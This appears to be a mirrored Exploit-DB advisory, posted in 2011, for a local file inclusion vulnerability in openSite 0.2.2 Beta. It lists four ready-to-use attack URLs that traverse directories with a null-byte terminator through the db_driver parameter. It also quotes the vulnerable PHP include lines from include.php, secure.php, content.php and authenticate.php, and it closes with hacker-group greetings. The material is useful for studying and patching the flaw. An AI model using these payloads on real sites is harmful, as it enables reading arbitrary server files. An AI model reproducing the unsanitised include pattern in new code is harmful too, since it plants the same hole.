openSite 0.2.2 Beta – Local File Inclusion - 体验盒子

作者： n0n0x

日期： 2011-01-07

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/15924/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

#######################################################

#opensite-v0.2.2-beta <=== Local File Include vuln

#######################################################

#By n0n0x

#Homepage: http://priasantai.uni.cc/

#Download script :http://sourceforge.net/projects/contentone/files/openSite/opensite-v0.2.2-beta/opensite-v0.2.2-beta.zip/download

#######################################################

=========================================

xpl :

http://site.com/os/upload/src/include.php?db_driver=../../../../../../../../../../LFI%00

<?php

session_start();

header('Cache-control: private');

include('variables.php');

include('functions.php');

include('drivers/'.$db_driver.'.php');

=========================================

xpl:

http://site.com/os/upload/src/secure.php?db_driver=../../../../../../../../../../LFI%00

<?php

include('variables.php');

include('functions.php');

include('drivers/'.$db_driver.'.php');

=========================================

xpl:

http://site.com/os/upload/src/content.php?db_driver=../../../../../../../../../../LFI%00

<?php

include('functions.php');

include('drivers/'.$db_driver.'.php');

=========================================

xpl:

http://site.com/os/upload/src/authenticate.php?db_driver=../../../../../../../../../../LFI%00

<?php

error_reporting('2037');

$auth = false;

$username = $_POST['username'];

$password = $_POST['password'];

if ( isset($username) & isset($password) ) {

include('variables.php');

include('functions.php');

include('drivers/'.$db_driver.'.php');

=========================================

#######################################################

#Greetz: all member | manadocoding.org - sekuritiOnline.net

#

# friends: angky.tatoki, EA ngel, bL4Ck_3n91n3,opa, x0r0n, team_elite, thama, s0ny,

# devilbat, cr4wl3r, cyberl0g, lumut-, Anti_Hack, DskyMC, mr.c, doniskynet.

#

# chats : irc.auzs.net 6667-7000 #kesawan,#exploit-db

######################################################